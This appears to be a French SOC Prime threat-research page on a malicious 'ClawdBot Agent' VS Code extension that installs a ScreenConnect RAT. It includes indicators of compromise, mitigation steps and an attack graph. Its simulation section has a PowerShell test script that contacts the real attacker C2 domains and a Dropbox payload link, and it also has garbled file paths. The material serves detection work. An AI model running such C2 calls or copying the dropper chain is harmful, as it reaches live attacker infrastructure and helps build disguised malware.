SOC Prime Bias: Critique

28 Jan 2026 12:58

Extension VS Code Fake ClowdBot Dépose ScreenConnect RAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Extension VS Code Fake ClowdBot Dépose ScreenConnect RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Une extension malveillante de Visual Studio Code appelée ClawdBot Agent se présente comme un assistant de codage AI mais installe discrètement un outil d’accès à distance ScreenConnect sur Windows lorsque VS Code se lance. Au démarrage, l’extension tire un fichier de configuration d’un domaine contrôlé par un attaquant, puis télécharge et exécute un faux binaire de VS Code (Code.exe) accompagné de DLL de support. Comme chemin de livraison secondaire, elle peut récupérer le même installateur à partir d’un lien Dropbox pour maintenir la disponibilité de la charge utile. La campagne abuse d’un outil de support informatique de confiance pour se fondre dans une activité légitime de gestion à distance et réduire les soupçons.

Enquête

Les chercheurs ont acquis le package.json de l’extension, confirmé l’activation au démarrage de VS Code, et récupéré la configuration JSON distante listant les composants malveillants. L’analyse binaire a révélé des modules ScreenConnect signés qui faisaient des signaux à un serveur relais personnalisé. Une logique de repli supplémentaire a été trouvée en JavaScript et PowerShell, faisant référence à des domaines secondaires et à des charges utiles hébergées sur Dropbox. Des artefacts sur disque ont été observés sous le dossier %TEMP%Lightshot.

Atténuation

Supprimez l’extension ClawdBot Agent de VS Code et effacez les fichiers restants de l’emplacement d’installation de ScreenConnect et du répertoire %TEMP%Lightshot. Désinstallez le service client ScreenConnect et bloquez la connectivité sortante vers les domaines et IP relais identifiés. Tournez toutes les clés API ou secrets qui peuvent avoir été entrés dans l’extension.

Réponse

Détectez l’extension malveillante en surveillant les installations d’extensions de VS Code et la création du répertoire Lightshot. Alertez sur l’exécution de Code.exe ou de binaires ScreenConnect depuis des chemins non standards et sur les connexions sortantes vers meeting.bulletmailer.net:8041 ou l’adresse IP associée. Effectuez une analyse forensic de l’hôte pour confirmer la suppression de la persistance et identifier toute charge utile supplémentaire.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffe599 classDef server fill:#c2f0c2 classDef process fill:#d9d9d9 %% Technique nodes tech_software_ext[« <b>Technique</b> – <b>T1176 Extensions logicielles</b><br/>Les adversaires abusent des extensions logicielles pour exécuter du code, maintenir la persistance ou exfiltrer des données. »] class tech_software_ext action tech_ide_ext[« <b>Technique</b> – <b>T1176.002 Extensions IDE</b><br/>Utilisation d’extensions d’environnements de développement intégrés pour exécuter du code malveillant ou obtenir une persistance. »] class tech_ide_ext action tech_user_exec[« <b>Technique</b> – <b>T1204.002 Exécution par l’utilisateur : fichier malveillant</b><br/>La victime exécute un fichier malveillant volontairement ou involontairement. »] class tech_user_exec action tech_app_layer[« <b>Technique</b> – <b>T1071.001 Protocole de couche applicative : Web</b><br/>Utilisation de HTTP/HTTPS pour la communication C2. »] class tech_app_layer action tech_fallback[« <b>Technique</b> – <b>T1008 Canaux de secours</b><br/>Utilisation de chemins de communication alternatifs. »] class tech_fallback action tech_powershell[« <b>Technique</b> – <b>T1059.001 PowerShell</b><br/>Exécution de commandes, téléchargement de fichiers et interaction système. »] class tech_powershell action tech_rat[« <b>Technique</b> – <b>T1219 Outils d’accès distant</b><br/>Maintien du contrôle à distance sur les hôtes compromis. »] class tech_rat action tech_dll_inject[« <b>Technique</b> – <b>T1055.001 Injection DLL</b><br/>Injection d’une DLL malveillante dans un processus en cours d’exécution. »] class tech_dll_inject action tech_appcert[« <b>Technique</b> – <b>T1546.009 Exécution déclenchée par événement : AppCert DLL</b><br/>Chargement latéral de DLL via l’enregistrement AppCert. »] class tech_appcert action tech_appinit[« <b>Technique</b> – <b>T1546.010 Exécution déclenchée par événement : AppInit DLL</b><br/>Chargement de DLL malveillante via AppInit_DLLs au démarrage du système. »] class tech_appinit action %% Artifact nodes ext_clawdbot[« <b>Outil</b> – <b>Nom</b> : Extension VS Code ClawdBot Agent<br/><b>Type</b> : Extension IDE »] class ext_clawdbot tool activation_event[« <b>Fichier</b> – <b>Nom</b> : activationEvents \ »onStartupFinished\ » »] class activation_event file init_core[« <b>Action</b> – initCore() s’exécute au démarrage de VS Code »] class init_core action c2_domain[« <b>Serveur</b> – clawdbot.getintwopc.site »] class c2_domain server fallback_urls[« <b>Serveur</b> – URLs de secours codées en dur »] class fallback_urls server ps_script[« <b>Script</b> – Script PowerShell télécharge le payload de secours »] class ps_script file lightshot[« <b>Fichier</b> – Lightshot.exe / Lightshot.dll (payload de secours) »] class lightshot file darkgpt[« <b>Serveur</b> – darkgptprivate.com »] class darkgpt server code_exe[« <b>Malware</b> – Code.exe (client ScreenConnect armé) »] class code_exe file relay_server[« <b>Serveur</b> – meeting.bulletmailer.net:8041 »] class relay_server server dwrite_dll[« <b>Fichier</b> – DWrite.dll (DLL malveillante se faisant passer pour DirectWrite) »] class dwrite_dll file screenconnect_proc[« <b>Processus</b> – Composant ScreenConnect »] class screenconnect_proc process %% Connections ext_clawdbot –>|utilise| tech_software_ext ext_clawdbot –>|utilise| tech_ide_ext ext_clawdbot –>|définit| activation_event activation_event –>|déclenche| init_core init_core –>|récupère la configuration depuis| c2_domain c2_domain –>|fournit| tech_app_layer init_core –>|utilise un secours| fallback_urls fallback_urls –>|fournit| ps_script ps_script –>|exécute| tech_powershell tech_powershell –>|télécharge| lightshot lightshot –>|s’exécute comme| tech_user_exec lightshot –>|livré comme| code_exe code_exe –>|utilise| tech_rat code_exe –>|contacte| relay_server relay_server –>|permet| tech_app_layer code_exe –>|charge| dwrite_dll dwrite_dll –>|enregistrée pour| tech_appcert dwrite_dll –>|enregistrée pour| tech_appinit dwrite_dll –>|injectée via| tech_dll_inject tech_dll_inject –>|cible| screenconnect_proc screenconnect_proc –>|exécute| dwrite_dll tech_fallback –>|couvre| fallback_urls

Flux d’attaque

Exécution de simulation

Prérequis : La vérification pré-vol du télémètre et de la base doit avoir réussi.

Narrative d’attaque et commandes

  1. L’attaquant publie une extension VS Code truffée de malwares intitulée « Clawdbot Helper ».
  2. La victime installe l’extension via le marché de VS Code, qui exécute un postinstall script qui dépose silencieusement le client ScreenConnect (ScreenConnect.Client.exe) dans %APPDATA%ScreenConnect.
  3. Immédiatement après l’installation, le client initie trois connexions TCP sortantes vers les domaines C2 contrôlés par l’attaquant pour récupérer des charges utiles supplémentaires et signaler l’état de l’hôte.
  4. Les connexions sortantes génèrent des enregistrements Sysmon Event ID 3 correspondant à la dest_ip liste, satisfaisant la règle de détection.

Script de test de régression

# --------------------------------------------------------------
# Routine post-installation simulée de l'extension malveillante VS Code
# --------------------------------------------------------------

# Étape 1 – Déposer un binaire ScreenConnect fictif (simulé)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Créer un binaire de remplacement inoffensif (par exemple, une copie de notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force

# Étape 2 – Établir des connexions sortantes vers chaque hôte C2
$c2Hosts = @(
    "http://meeting.bulletmailer.net/collect",
    "http://clawdbot.getintwopc.site/payload",
    "https://www.dropbox.com/s/evilpayload.exe"
)

foreach ($url in $c2Hosts) {
    try {
        # Requête web silencieuse ; -UseBasicParsing évite les invites UI
        Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
        Write-Host "Contacté $url"
    } catch {
        Write-Host "Échec de la tentative de contact avec $url (attendu dans un sandbox)."
    }
}

# Fin du script – à ce stade Sysmon devrait avoir enregistré trois
# événements NetworkConnect dont les valeurs DestinationIp correspondent à la règle.

Commandes de nettoyage

# --------------------------------------------------------------
# Supprimer les artefacts simulés
# --------------------------------------------------------------

# Arrêter les tâches PowerShell persistantes (aucune dans ce script simple)
Get-Job | Remove-Job -Force

# Supprimer le dossier client ScreenConnect fictif
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force

# Optionnellement, effacer la mémoire tampon Sysmon (nécessite un administrateur)
# sysmon -c